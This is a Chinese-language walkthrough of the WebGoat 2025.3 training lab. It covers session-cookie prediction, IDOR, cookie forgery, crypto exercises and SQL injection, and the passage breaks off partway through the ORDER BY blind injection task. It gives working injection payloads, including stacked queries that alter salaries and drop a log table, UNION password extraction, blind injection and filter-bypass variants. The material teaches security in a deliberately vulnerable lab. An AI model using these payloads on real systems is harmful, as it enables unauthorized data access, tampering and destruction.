[{"data":1,"prerenderedAt":1789},["ShallowReactive",2],{"content:\u002Fwebgoat-2025-3-%E9%80%9A%E5%85%B3%E6%95%99%E7%A8%8B":3,"surround:\u002Fwebgoat-2025-3-%E9%80%9A%E5%85%B3%E6%95%99%E7%A8%8B":1788},{"id":4,"title":5,"body":6,"categories":1762,"date":1764,"description":1765,"draft":1766,"extension":1767,"image":1768,"meta":1769,"navigation":1771,"path":1772,"permalink":1772,"published":1768,"readingTime":1773,"recommend":1768,"references":1768,"seo":1778,"sitemap":1779,"stem":1780,"tags":1781,"type":1786,"updated":1764,"__hash__":1787},"content\u002Fposts\u002F2026\u002Fwebgoat-2025-3-通关教程.md","WebGoat 2025.3 通关教程",{"type":7,"value":8,"toc":1718},"minimark",[9,13,114,117,121,126,138,142,149,160,173,178,191,197,200,216,223,227,230,248,275,277,281,285,290,341,355,359,402,406,442,446,449,544,546,549,553,556,602,613,619,625,631,641,646,650,723,727,775,779,782,855,857,860,864,938,940,943,947,950,1087,1091,1198,1202,1309,1313,1391,1393,1396,1400,1473,1477,1504,1506,1509,1546,1548,1551,1555,1578,1582,1621,1625,1644,1646,1650,1658,1661,1690,1693,1716],[10,11,12],"h2",{"id":12},"目录",[14,15,16,44],"ol",{},[17,18,19,24],"li",{},[20,21,23],"a",{"href":22},"#article-heading-1-1-%E9%9D%B6%E5%9C%BA%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA","靶场环境搭建",[14,25,26,32,38],{},[17,27,28],{},[20,29,31],{"href":30},"#article-heading-2-11-%E7%8E%AF%E5%A2%83%E8%A6%81%E6%B1%82","环境要求",[17,33,34],{},[20,35,37],{"href":36},"#article-heading-3-12-%E5%AE%89%E8%A3%85%E6%96%B9%E6%B3%95","安装方法",[17,39,40],{},[20,41,43],{"href":42},"#article-heading-4-13-%E9%85%8D%E5%90%88%E4%BB%A3%E7%90%86%E5%B7%A5%E5%85%B7burp-suite","配合代理工具（Burp Suite）",[17,45,46,50],{},[20,47,49],{"href":48},"#article-heading-5-2-%E9%83%A8%E5%88%86%E9%80%9A%E5%85%B3%E6%94%BB%E7%95%A5","部分通关攻略",[14,51,52,58,64,70,76,82,88,94],{},[17,53,54],{},[20,55,57],{"href":56},"#article-heading-6-introduction%E5%85%A5%E9%97%A8%E8%AF%BE%E7%A8%8B","Introduction 入门课程",[17,59,60],{},[20,61,63],{"href":62},"#article-heading-7-a1-broken-access-control-%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E5%A4%B1%E6%95%88","(A1) Broken Access Control 访问控制失效",[17,65,66],{},[20,67,69],{"href":68},"#article-heading-8-a2-cryptographic-failures-%E5%8A%A0%E5%AF%86%E5%A4%B1%E8%B4%A5","(A2) Cryptographic Failures 加密失败",[17,71,72],{},[20,73,75],{"href":74},"#article-heading-9-a3-injection-%E6%B3%A8%E5%85%A5","(A3) Injection 注入",[17,77,78],{},[20,79,81],{"href":80},"#article-heading-10-a5-security-misconfiguration-%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E9%94%99%E8%AF%AF","(A5) Security Misconfiguration 安全配置错误",[17,83,84],{},[20,85,87],{"href":86},"#article-heading-11-a10-server-side-request-forgeryssrf-%E6%9C%8D%E5%8A%A1%E7%AB%AF%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0","(A10) Server-Side Request Forgery（SSRF 服务端请求伪造）",[17,89,90],{},[20,91,93],{"href":92},"#article-heading-12-client-side-%E5%AE%A2%E6%88%B7%E7%AB%AF%E4%BE%A7","Client Side 客户端侧",[17,95,96,100],{},[20,97,99],{"href":98},"#article-heading-13-challenge%E6%8C%91%E6%88%98%E5%85%B3","Challenge 挑战关",[14,101,102,108],{},[17,103,104],{},[20,105,107],{"href":106},"#article-heading-14-admin-lost-password","Admin lost password",[17,109,110],{},[20,111,113],{"href":112},"#article-heading-15-without-password","Without password",[115,116],"hr",{},[10,118,120],{"id":119},"_1-靶场环境搭建","1. 靶场环境搭建",[122,123,125],"h3",{"id":124},"_11-环境要求","1.1 环境要求",[127,128,129,132,135],"ul",{},[17,130,131],{},"方式 A：Docker",[17,133,134],{},"方式 B：Java 25（JDK 25，2025.x 起要求 JDK 25，旧版为 21）直接跑 jar",[17,136,137],{},"工具：Burp Suite（或 OWASP ZAP）+ Chrome\u002FFirefox（F12 开发者工具）",[122,139,141],{"id":140},"_12-安装方法","1.2 安装方法",[143,144,145],"p",{},[146,147,148],"strong",{},"Docker（最简单）",[150,151,157],"pre",{"className":152,"code":154,"language":155,"meta":156},[153],"language-bash","docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat\u002Fwebgoat\n","bash","",[158,159,154],"code",{"__ignoreMap":156},[161,162,163],"blockquote",{},[143,164,165,168,169,172],{},[146,166,167],{},"提示："," 如果部分课程结果不对，可能是时区问题，Docker 加 ",[158,170,171],{"code":171},"-e TZ=Asia\u002FShanghai"," 重启即可。",[143,174,175],{},[146,176,177],{},"JAR 方式",[143,179,180,181,186,187,190],{},"到 ",[20,182,183],{"href":183,"rel":184},"https:\u002F\u002Fgithub.com\u002FWebGoat\u002FWebGoat\u002Freleases",[185],"nofollow"," 下载 ",[158,188,189],{"code":189},"webgoat-2025.3.jar","：",[150,192,195],{"className":193,"code":194,"language":155,"meta":156},[153],"java -Dfile.encoding=UTF-8 -jar webgoat-2025.3.jar\n# 自定义端口：\njava -jar webgoat-2025.3.jar --webgoat.port=8001 --webwolf.port=8002\n",[158,196,194],{"__ignoreMap":156},[143,198,199],{},"启动后访问：",[127,201,202,209],{},[17,203,204,205],{},"WebGoat：",[20,206,207],{"href":207,"rel":208},"http:\u002F\u002F127.0.0.1:8080\u002FWebGoat\u002F",[185],[17,210,211,212],{},"WebWolf：",[20,213,214],{"href":214,"rel":215},"http:\u002F\u002F127.0.0.1:9090\u002FWebWolf\u002F",[185],[143,217,218,219,222],{},"首次使用点 ",[146,220,221],{},"Register"," 注册一个账号（随意填），之后用该账号登录。",[122,224,226],{"id":225},"_13-配合代理工具burp-suite","1.3 配合代理工具（Burp Suite）",[143,228,229],{},"HTTP Proxies 课程要求你学会用代理改包，后续大量课程也要抓包，建议一开始就配好：",[14,231,232,239,245],{},[17,233,234,235,238],{},"启动 Burp Suite，Proxy 监听 ",[158,236,237],{"code":237},"127.0.0.1:8080","（默认）。",[17,240,241,242,244],{},"浏览器设置 HTTP 代理为 ",[158,243,237],{"code":237},"（或装 FoxyProxy 插件）。",[17,246,247],{},"关掉拦截（Intercept off）正常浏览，需要改包时打开 Intercept 或把请求 Send to Repeater \u002F Intruder。",[161,249,250,263,268],{},[143,251,252,254,255,258,259,262],{},[146,253,167],{}," WebGoat 默认绑定 localhost，走 Burp 代理时若遇到 ",[158,256,257],{"code":257},"Could not connect","，可在 hosts 里加 ",[158,260,261],{"code":261},"127.0.0.1 www.webgoat.local www.webwolf.local","，再用环境变量启动：",[143,264,265],{},[158,266,267],{"code":267},"docker run ... -e WEBGOAT_HOST=www.webgoat.local -e WEBWOLF_HOST=www.webwolf.local webgoat\u002Fwebgoat",[143,269,270,271,274],{},"访问 ",[158,272,273],{"code":273},"http:\u002F\u002Fwww.webgoat.local:8080\u002FWebGoat\u002F","。",[115,276],{},[10,278,280],{"id":279},"_2-部分通关攻略","2. 部分通关攻略",[122,282,284],{"id":283},"introduction入门课程","Introduction（入门课程）",[286,287,289],"h4",{"id":288},"http-basicshttp-基础","HTTP Basics（HTTP 基础）",[127,291,292,302],{},[17,293,294,297,298,301],{},[146,295,296],{},"Task 2","：在输入框输入名字点 Go，服务器会把输入",[146,299,300],{},"反转","后回显。就是练习一次 POST 请求。",[17,303,304,307,308],{},[146,305,306],{},"Task 3（测验）","：\n",[127,309,310,317],{},[17,311,312,313,316],{},"问题 1：本课用的 HTTP 方法是什么？→ ",[158,314,315],{"code":315},"POST","（点 Go 后浏览器 URL 没有变化，参数在 body 里，说明是 POST）",[17,318,319,320,323,324,327,328,331,332,335,336],{},"问题 2：magic number 是多少？→ 抓包看 POST body 里的 ",[158,321,322],{"code":322},"magic_num"," 参数（",[146,325,326],{},"每次随机","，如 ",[158,329,330],{"code":330},"7","、",[158,333,334],{"code":334},"49","），抓到立即填上去提交。\n",[337,338],"img",{"alt":339,"src":340},"HTTP Basics 示例","\u002Fposts\u002FWebGoat-2025.3-%E9%80%9A%E5%85%B3%E6%95%99%E7%A8%8B\u002F1.2.png",[161,342,343],{},[143,344,345,347,348,351,352,274],{},[146,346,167],{}," 如果 8080 端口被占用，可以换端口：JAR 方式使用 ",[158,349,350],{"code":350},"--webgoat.port=8001 --webwolf.port=8002","；Docker 方式改为 ",[158,353,354],{"code":354},"-p 127.0.0.1:8001:8080",[286,356,358],{"id":357},"http-proxieshttp-代理","HTTP Proxies（HTTP 代理）",[127,360,361],{},[17,362,363,366,367,392,395,396,398],{},[146,364,365],{},"Task 5（拦截并修改请求）","：这关需要你设置一个代理，然后拦截请求，并将请求修改。点击页面按钮触发请求，打开 BP 设置代理，并打开拦截。做以下修改：",[14,368,369,376,382],{},[17,370,371,372,375],{},"请求方法 POST → ",[146,373,374],{},"GET","；",[17,377,378,379,375],{},"添加请求头：",[158,380,381],{"code":381},"x-request-intercepted: true",[17,383,384,385,388,389,274],{},"删除请求 body，把参数 ",[158,386,387],{"code":387},"changeMe"," 移到 URL 查询串：",[158,390,391],{"code":391},"changeMe=Requests are tampered easily",[393,394],"br",{},"修改后 Forward 放行即完成。",[393,397],{},[337,399],{"alt":400,"src":401},"HTTP Proxies 请求修改示例","\u002Fposts\u002FWebGoat-2025.3-%E9%80%9A%E5%85%B3%E6%95%99%E7%A8%8B\u002F1.3.png",[286,403,405],{"id":404},"developer-tools开发者工具","Developer Tools（开发者工具）",[127,407,408,432],{},[17,409,410,413,414,417,418,421,422,425,426,428],{},[146,411,412],{},"Task 4","：F12 打开控制台（Console），输入 ",[158,415,416],{"code":416},"webgoat.customjs.phoneHome()","，回车后会输出 ",[158,419,420],{"code":420},"phone home said {...}","，把其中的",[146,423,424],{},"随机数字","复制到题目输入框提交（每次调用随机生成，取最新的）。",[393,427],{},[337,429],{"alt":430,"src":431},"Developer Tools 示例","\u002Fposts\u002FWebGoat-2025.3-%E9%80%9A%E5%85%B3%E6%95%99%E7%A8%8B\u002F1.4.png",[17,433,434,437,438,441],{},[146,435,436],{},"Task 6","：F12 打开 Network，点页面按钮，在请求列表中找到一个含 ",[158,439,440],{"code":440},"networkNum"," 字段的请求，把数字填入提交。",[286,443,445],{"id":444},"cia-triad信息安全三要素","CIA Triad（信息安全三要素）",[143,447,448],{},"理论课，介绍数据的三要素，保密性 Confidentiality \u002F 完整性 Integrity \u002F 可用性 Availability。",[127,450,451],{},[17,452,453,456,457,462,480,486,501,507,522,528],{},[146,454,455],{},"Task 5","：测验，答案如下：",[14,458,459],{},[17,460,461],{},"How could an intruder harm the security goal of confidentiality?",[127,463,464,470],{},[17,465,466,469],{},[146,467,468],{},"正确答案："," Solution 3: By stealing a database where names and emails are stored and uploading it to a website.",[17,471,472,475,476,479],{},[146,473,474],{},"解析："," ",[146,477,478],{},"机密性（Confidentiality）"," 旨在保护敏感数据不被未授权泄露或查看。窃取包含用户姓名和邮箱的数据库并公开发布，直接破坏了数据的保密性。",[14,481,483],{"start":482},2,[17,484,485],{},"How could an intruder harm the security goal of integrity?",[127,487,488,493],{},[17,489,490,492],{},[146,491,468],{}," Solution 1: By changing the names and emails of one or more users stored in a database.",[17,494,495,475,497,500],{},[146,496,474],{},[146,498,499],{},"完整性（Integrity）"," 确保数据在存储或传输过程中不被未授权篡改。篡改数据库中的姓名和邮箱破坏了数据的真实性和准确性。",[14,502,504],{"start":503},3,[17,505,506],{},"How could an intruder harm the security goal of availability?",[127,508,509,514],{},[17,510,511,513],{},[146,512,468],{}," Solution 4: By launching a denial of service attack on the servers.",[17,515,516,475,518,521],{},[146,517,474],{},[146,519,520],{},"可用性（Availability）"," 确保授权用户可以在需要时访问服务。拒绝服务攻击（DoS\u002FDDoS）会导致服务器无法处理正常请求，直接破坏可用性。",[14,523,525],{"start":524},4,[17,526,527],{},"What happens if at least one of the CIA security goals is harmed?",[127,529,530,535],{},[17,531,532,534],{},[146,533,468],{}," Solution 2: The systems security is compromised even if only one goal is harmed.",[17,536,537,539,540,543],{},[146,538,474],{}," CIA 三要素中",[146,541,542],{},"只要有任意一个","要素遭到破坏，系统的整体安全防御就被视为已被攻破（Compromised）。",[115,545],{},[122,547,63],{"id":548},"a1-broken-access-control-访问控制失效",[286,550,552],{"id":551},"hijack-a-session会话劫持","Hijack a Session（会话劫持）",[143,554,555],{},"目标：通过猜测他人 session cookie 登录别人的会话。",[14,557,558,568,587],{},[17,559,560,561,564,565,274],{},"页面有个登录表单，抓包看到带 ",[158,562,563],{"code":563},"hijack_cookie"," 的 Cookie 请求，服务端返回 ",[158,566,567],{"code":567},"false",[17,569,570,571,574,575,578,579,582,583,586],{},"把请求发到 Repeater 重发几次，观察响应里的 ",[158,572,573],{"code":573},"Set-Cookie: hijack_cookie=...","，发现 cookie 是两段，用 ",[158,576,577],{"code":577},"-"," 分隔：",[146,580,581],{},"前半段是一个递增的大数字，后半段是时间戳","（如 ",[158,584,585],{"code":585},"8195750994134671443-1695802682250","）。",[17,588,589,590,593,594,597,598,601],{},"连续多发几次请求收集几个 cookie，找出相邻值之间\"缺一个\"的数字段（比如拿到了 ",[158,591,592],{"code":592},"...443-1695802682250"," 和 ",[158,595,596],{"code":596},"...445-1695802693571","，那么 ",[158,599,600],{"code":600},"...444-..."," 就是中间值）。",[143,603,604,608,609,612],{},[337,605],{"alt":606,"src":607},"Hijack a Session 步骤一","\u002Fposts\u002FWebGoat-2025.3-%E9%80%9A%E5%85%B3%E6%95%99%E7%A8%8B\u002F2.1.1.png","\n4. 用 Intruder 爆破：以 ",[158,610,611],{"code":611},"hijack_cookie=6712622720398498768-§1785937193054§"," 为变量，在中间时间戳区间内枚举，长度不同的响应即为正确 cookie。",[143,614,615],{},[337,616],{"alt":617,"src":618},"Hijack a Session 步骤二","\u002Fposts\u002FWebGoat-2025.3-%E9%80%9A%E5%85%B3%E6%95%99%E7%A8%8B\u002F2.1.2.png",[14,620,622],{"start":621},5,[17,623,624],{},"查看结果，有个返回长度不一样，就是这个了",[143,626,627],{},[337,628],{"alt":629,"src":630},"Hijack a Session 步骤三","\u002Fposts\u002FWebGoat-2025.3-%E9%80%9A%E5%85%B3%E6%95%99%E7%A8%8B\u002F2.1.3.jpeg",[14,632,634],{"start":633},6,[17,635,636,637,640],{},"把正确 cookie 填入请求，返回 ",[158,638,639],{"code":639},"true","，过关。",[161,642,643],{},[143,644,645],{},"原理：session id 可预测（递增数字 + 时间戳），属于可预测的会话标识符。",[286,647,649],{"id":648},"insecure-direct-object-referencesidor-越权","Insecure Direct Object References（IDOR 越权）",[127,651,652,665,688,697],{},[17,653,654,656,657,660,661,664],{},[146,655,296],{},"：用内置账号 ",[158,658,659],{"code":659},"tom"," \u002F ",[158,662,663],{"code":663},"cat"," 登录。",[17,666,667,670,671,681,682,684],{},[146,668,669],{},"Task 3","：点击 View Profile 后抓包看响应，页面只展示部分字段，但",[146,672,673,674,593,677,680],{},"响应里还有 ",[158,675,676],{"code":676},"role",[158,678,679],{"code":679},"userId"," 两个隐藏字段","，答案就填这两个字段名（注意顺序）。",[393,683],{},[337,685],{"alt":686,"src":687},"IDOR 示例","\u002Fposts\u002FWebGoat-2025.3-%E9%80%9A%E5%85%B3%E6%95%99%E7%A8%8B\u002F2.2.png",[17,689,690,692,693,696],{},[146,691,412],{},"：猜获取个人资料的 URL：",[158,694,695],{"code":695},"\u002FWebGoat\u002FIDOR\u002Fprofile\u002F2342384","（RESTful 风格，自己的 userId 是 2342384）。",[17,698,699,701,702,707,708,711,712,720,722],{},[146,700,455],{},"：访问他人资料：把 userId 换掉爆破（2342384~2342400 范围），找到 ",[146,703,704],{},[158,705,706],{"code":706},"2342388","（用户 Buffalo Bill）。然后修改其资料：抓包后把 GET 改成 ",[146,709,710],{},"PUT","，body 改为 JSON：",[150,713,718],{"className":714,"code":716,"language":717,"meta":156},[715],"language-json","{\"role\":\"1\",\"color\":\"red\",\"size\":\"large\",\"name\":\"Buffalo Bill\",\"userId\":\"2342388\"}\n","json",[158,719,716],{"__ignoreMap":156},[393,721],{},"把颜色改成 red、角色改成低级（1）后提交。",[286,724,726],{"id":725},"missing-function-level-access-control缺失功能级访问控制","Missing Function Level Access Control（缺失功能级访问控制）",[127,728,729,744,759],{},[17,730,731,733,734,593,739,274],{},[146,732,296],{},"：F12 查看页面 HTML 源码，发现两个隐藏的菜单链接：",[146,735,736],{},[158,737,738],{"code":738},"Users",[146,740,741],{},[158,742,743],{"code":743},"Config",[17,745,746,748,749,752,753,758],{},[146,747,669],{},"：直接 GET 请求 ",[158,750,751],{"code":751},"\u002FWebGoat\u002Fusers","，同时在请求头加 ",[146,754,755],{},[158,756,757],{"code":757},"Content-Type: application\u002Fjson","（欺骗服务端以 JSON 返回），响应中泄露所有用户信息（含 jerry 的密码 hash 等）。",[17,760,761,763,764,767,768,770,771,774],{},[146,762,412],{},"：思路：先把自己提权成 admin——抓包用 POST 修改自己账号的 ",[158,765,766],{"code":766},"admin"," 字段为 ",[158,769,639],{"code":639},"，然后再 GET ",[158,772,773],{"code":773},"\u002FWebGoat\u002Fusers-admin-fix"," 就能拿到用户列表了。",[286,776,778],{"id":777},"spoofing-an-authentication-cookie伪造认证-cookie","Spoofing an Authentication Cookie（伪造认证 Cookie）",[143,780,781],{},"目标：根据 cookie 生成规律伪造任意用户的 cookie。",[14,783,784,805,808,817,828,849],{},[17,785,786,787,331,790,792,793,796,797],{},"分别用 ",[158,788,789],{"code":789},"webgoat",[158,791,766],{"code":766}," 两个内置账号登录，抓包得到两个 ",[158,794,795],{"code":795},"spoof_auth"," cookie：\n",[150,798,803],{"className":799,"code":801,"language":802},[800],"language-text","webgoat: NmU0ODU3NDU1ODVhNzg0MjY0NDI3NDYxNmY2NzYyNjU3Nw==\nadmin:   NmU0ODU3NDU1ODVhNzg0MjY0NDI2ZTY5NmQ2NDYx\n","text",[158,804,801],{"__ignoreMap":156},[17,806,807],{},"Base64 解码 → 得到一串看起来像十六进制的字符串；",[17,809,810,811],{},"再按十六进制解码（Hex）→ 得到明文，例如：\n",[150,812,815],{"className":813,"code":814,"language":802},[800],"nHWEXZxBdBtaogbew    ← webgoat\nnHWEXZxBdBnimda      ← admin\n",[158,816,814],{"__ignoreMap":156},[17,818,819,820,827],{},"规律：",[146,821,822,823,826],{},"固定前缀 ",[158,824,825],{"code":825},"nHWEXZxBdB"," + 用户名的反转","（webgoat → taogbew，admin → nimda）。",[17,829,830,831,833,834,837,838,841,842,845,846],{},"伪造 Tom：",[158,832,825],{"code":825}," + ",[158,835,836],{"code":836},"moT"," = ",[158,839,840],{"code":840},"nHWEXZxBdBmoT","\n→ 转 Hex：",[158,843,844],{"code":844},"6e485745585a784264426d6f54","\n→ 转 Base64：",[158,847,848],{"code":848},"NmU0ODU3NDU1ODVhNzg0MjY0NDI2ZDZmNTQ=",[17,850,851,852,854],{},"把该值作为 ",[158,853,795],{"code":795}," cookie 提交，过关。",[115,856],{},[122,858,69],{"id":859},"a2-cryptographic-failures-加密失败",[286,861,863],{"id":862},"crypto-basics密码学基础","Crypto Basics（密码学基础）",[127,865,866,875,893,909,926],{},[17,867,868,870,871,874],{},[146,869,296],{},"：题目给了一段密文，直接 ",[146,872,873],{},"Base64 解码","得到用户名和密码。",[17,876,877,879,880,886,887,889,890,274],{},[146,878,669],{},"：XOR 加密。XOR 需要密钥，这里用的是 WebSphere 默认异或密钥 ",[146,881,882,885],{},[158,883,884],{"code":884},"_","（下划线）","，把密文逐字节与 ",[158,888,884],{"code":884}," 异或得到明文：",[158,891,892],{"code":892},"databasepassword",[17,894,895,897,898,902,903,660,906,274],{},[146,896,412],{},"：哈希破解。给出的哈希是 MD5\u002FSHA1，用 ",[20,899,900],{"href":900,"rel":901},"https:\u002F\u002Fwww.cmd5.org\u002F",[185]," 之类在线破解，得到明文 ",[158,904,905],{"code":905},"secret",[158,907,908],{"code":908},"password",[17,910,911,913,914,190,917,923,925],{},[146,912,436],{},"：RSA 公钥与签名。给出私钥 ",[158,915,916],{"code":916},"test.key",[150,918,921],{"className":919,"code":920,"language":155,"meta":156},[153],"# 由私钥导出公钥\nopenssl rsa -in test.key -pubout > test.pub\n# 计算公钥 modulus\nopenssl rsa -in test.pub -pubin -modulus -noout\n# 用私钥对 modulus 做 SHA256 签名并 base64\necho -n \"00AE89...\" | openssl dgst -sign test.key -sha256 | base64\n",[158,922,920],{"__ignoreMap":156},[393,924],{},"把 modulus 和 base64 签名填入提交。",[17,927,928,931,932],{},[146,929,930],{},"Task 8","：找密钥。运行辅助容器并进入找文件：",[150,933,936],{"className":934,"code":935,"language":155,"meta":156},[153],"docker run -d webgoat\u002Fassignments:findthesecret\ndocker exec -it --user=root \u003C容器ID> \u002Fbin\u002Fbash\n# 在 \u002Froot\u002F 下找到密钥文件\n",[158,937,935],{"__ignoreMap":156},[115,939],{},[122,941,75],{"id":942},"a3-injection-注入",[286,944,946],{"id":945},"sql-injection-introsql-注入入门","SQL Injection (intro)（SQL 注入入门）",[143,948,949],{},"本课是 SQL 语法练习 + 字符串注入：",[127,951,952,965,976,987,998,1017,1038,1053,1075],{},[17,953,954,956,957],{},[146,955,296],{},"（检索 Bob Franco 的部门）：",[150,958,963],{"className":959,"code":961,"language":962,"meta":156},[960],"language-sql","select department from employees where userid='96134'\n","sql",[158,964,961],{"__ignoreMap":156},[17,966,967,969,970],{},[146,968,669],{},"（把 Tobi Barnett 部门改为 Sales）：",[150,971,974],{"className":972,"code":973,"language":962,"meta":156},[960],"update employees set department='Sales' where userid='89762'\n",[158,975,973],{"__ignoreMap":156},[17,977,978,980,981],{},[146,979,412],{},"（加一列 phone）：",[150,982,985],{"className":983,"code":984,"language":962,"meta":156},[960],"alter table employees add phone varchar(20)\n",[158,986,984],{"__ignoreMap":156},[17,988,989,991,992],{},[146,990,455],{},"（授权 UnauthorizedUser 修改表）：",[150,993,996],{"className":994,"code":995,"language":962,"meta":156},[960],"grant alter table to UnauthorizedUser\n",[158,997,995],{"__ignoreMap":156},[17,999,1000,1003,1004,1010,1012,1013,1016],{},[146,1001,1002],{},"Task 9","（字符串 SQL 注入，绕过登录取出全部数据）：姓输入",[150,1005,1008],{"className":1006,"code":1007,"language":802},[800],"Smith' or '1'='1\n",[158,1009,1007],{"__ignoreMap":156},[393,1011],{},"原理：原查询 ",[158,1014,1015],{"code":1015},"WHERE last_name = 'Smith' or '1'='1'","，恒真，返回所有行。",[17,1018,1019,1022,1023,1026,1027,1033,1034,1037],{},[146,1020,1021],{},"Task 10","（数字型注入）：查询是 ",[158,1024,1025],{"code":1025},"WHERE login_count = \" + num + \" AND userid = \" + id","。在 ",[146,1028,1029,1030],{},"Login_Count 输入 ",[158,1031,1032],{"code":1032},"1 or 1=1 --","（数字型无需闭合，",[158,1035,1036],{"code":1036},"--"," 注释掉后面），User_ID 随便填个数字。",[17,1039,1040,1043,1044,1050,1052],{},[146,1041,1042],{},"Task 11","（机密性：查出所有人的工资）：在名字框注入：",[150,1045,1048],{"className":1046,"code":1047,"language":802},[800],"' or true --\n",[158,1049,1047],{"__ignoreMap":156},[393,1051],{},"（闭合单引号 + 恒真 + 注释），TAN 框填任意值即可。",[17,1054,1055,1058,1059,190,1062,1068,1070,1071,1074],{},[146,1056,1057],{},"Task 12","（完整性：给自己涨工资）——",[146,1060,1061],{},"堆叠注入",[150,1063,1066],{"className":1064,"code":1065,"language":802},[800],"lusuo'; update employees set salary=999999999 where userid=37648--\n",[158,1067,1065],{"__ignoreMap":156},[393,1069],{},"先闭合单引号，用 ",[158,1072,1073],{"code":1073},";"," 结束原语句，执行 update，最后注释掉多余部分。（userid 37648 = John Smith）",[17,1076,1077,1080,1081],{},[146,1078,1079],{},"Task 13","（可用性：删表掩盖操作记录）：",[150,1082,1085],{"className":1083,"code":1084,"language":802},[800],"lusuo'; drop table access_log--\n",[158,1086,1084],{"__ignoreMap":156},[286,1088,1090],{"id":1089},"sql-injection-advancedsql-注入进阶","SQL Injection (advanced)（SQL 注入进阶）",[127,1092,1093,1128,1180],{},[17,1094,1095,1097,1098,1101,1102,1105,1106,1112,1113,1116,1117,1122,1123],{},[146,1096,669],{},"（UNION 注入爆密码）：已知两张表 ",[158,1099,1100],{"code":1100},"user_data","（7 列）和 ",[158,1103,1104],{"code":1104},"user_system_data","（user_name, password, ...）。任务是查出 Dave 的密码。在 last name 输入框注入：\n",[150,1107,1110],{"className":1108,"code":1109,"language":802},[800],"1' union select 1,user_name,password,'1','2','3',4 from user_system_data where user_name='dave'--\n",[158,1111,1109],{"__ignoreMap":156},"\n也可以写成 ",[158,1114,1115],{"code":1115},"' or true union select ...","。结果中 Dave 的密码是 ",[146,1118,1119],{},[158,1120,1121],{"code":1121},"passW0rD","。\n",[161,1124,1125],{},[143,1126,1127],{},"UNION 规则：两段 SELECT 列数必须一致（这里 7 列）、对应列类型要匹配。",[17,1129,1130,1132,1133,475,1136,307,1139],{},[146,1131,455],{},"（布尔盲注爆 Tom 的密码）：\n登录框无注入点，注入点在",[146,1134,1135],{},"注册页的用户名",[158,1137,1138],{"code":1138},"username_reg",[127,1140,1141,1152,1161,1168,1174],{},[17,1142,1143,1144,1147,1148,1151],{},"判断存在盲注：",[158,1145,1146],{"code":1146},"tom' and 1=1--"," → 提示 \"already exists\"（真）；",[158,1149,1150],{"code":1150},"tom' and 1=2--"," → 提示 \"created\"（假）。",[17,1153,1154,1155,1158,1159,274],{},"猜密码列名：",[158,1156,1157],{"code":1157},"tom' and length(password)>0--"," 为真，说明列名是 ",[158,1160,908],{"code":908},[17,1162,1163,1164,1167],{},"逐位爆破：",[158,1165,1166],{"code":1166},"tom' and substr(password,1,1)='x'--","，用 Intruder 两个变量（位置 1~n、字符 a-zA-Z0-9 等），\"already exists\" 即为命中。",[17,1169,1170,1171],{},"爆出的密码（2023.x 为）：",[158,1172,1173],{"code":1173},"thisisasecretfortomonly",[17,1175,1176,1177,1179],{},"用 ",[158,1178,659],{"code":659}," 和该密码登录即可（旧版 8.0 密码为 23 位，注意版本差异，方法不变）。",[17,1181,1182,1185,1186,1189,1190,1193,1194,1197],{},[146,1183,1184],{},"Task 6（测验）","：Prepared Statement（预处理语句）相关，常见答案序列 ",[146,1187,1188],{},"4,3,2,3,4","（Q1 语句有值而非预处理→4；Q2 占位符是 ",[158,1191,1192],{"code":1192},"?","→3；Q3 预编译一次更快→2；Q4 占位符把代码与数据分离→3\u002F4；Q5 ",[158,1195,1196],{"code":1196},"Robert'); DROP TABLE Students;--"," 会被原样当字符串注册→4）。不同版本题号略有出入，按含义理解作答。",[286,1199,1201],{"id":1200},"sql-injection-mitigationsql-注入防御","SQL Injection (mitigation)（SQL 注入防御）",[127,1203,1204,1217,1229,1255,1276],{},[17,1205,1206,1208,1209],{},[146,1207,455],{},"（补全防注入代码）：把查询改成参数化：\n",[150,1210,1215],{"className":1211,"code":1213,"language":1214,"meta":156},[1212],"language-java","Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);\nPreparedStatement ps = conn.prepareStatement(\"SELECT status FROM users WHERE name = ? AND mail = ?\");\nps.setString(1, name);\nps.setString(2, mail);\n","java",[158,1216,1213],{"__ignoreMap":156},[17,1218,1219,1221,1222,833,1225,1228],{},[146,1220,436],{},"（写一段参数化查询代码）：题目给了残缺代码，把查询改用 ",[158,1223,1224],{"code":1224},"PreparedStatement",[158,1226,1227],{"code":1227},"ps.setString(1, \"admin\")"," 即可。",[17,1230,1231,1233,1234,1237,1238,1244,1245,1248,1249],{},[146,1232,1002],{},"（过滤空格绕过）：提交 ",[158,1235,1236],{"code":1236},"1' or 1=1--"," 被拦截（空格被过滤），用注释或加号代替空格：\n",[150,1239,1242],{"className":1240,"code":1241,"language":802},[800],"1'\u002F**\u002For\u002F**\u002F1=1--+\n",[158,1243,1241],{"__ignoreMap":156},"\n然后 UNION 注入（空格全部用 ",[158,1246,1247],{"code":1247},"\u002F**\u002F"," 代替）：\n",[150,1250,1253],{"className":1251,"code":1252,"language":802},[800],"1'\u002F**\u002Funion\u002F**\u002Fselect\u002F**\u002F1,user_name,password,'1','2','3',4\u002F**\u002Ffrom\u002F**\u002Fuser_system_data--+\n",[158,1254,1252],{"__ignoreMap":156},[17,1256,1257,1259,1260,331,1263,1266,1267,307,1270],{},[146,1258,1021],{},"（关键字过滤双写绕过）：",[158,1261,1262],{"code":1262},"select",[158,1264,1265],{"code":1265},"from"," 被直接删除 → ",[146,1268,1269],{},"双写绕过",[150,1271,1274],{"className":1272,"code":1273,"language":802},[800],"1'\u002F**\u002Funion\u002F**\u002Fselselectect\u002F**\u002F1,user_name,password,'1','2','3',4\u002F**\u002Ffrfromom\u002F**\u002Fuser_system_data--+\n",[158,1275,1273],{"__ignoreMap":156},[17,1277,1278,1280,1281,1284,1285,1288,1289,1292,1293,1299,1300,1303,1304,274],{},[146,1279,1057],{},"（ORDER BY 盲注爆 IP）：排序接口的 ",[158,1282,1283],{"code":1283},"column"," 参数拼进 ORDER BY。构造 ",[158,1286,1287],{"code":1287},"case when"," 条件语句逐位爆破 webgoat-prd 的 IP（尾段已给出 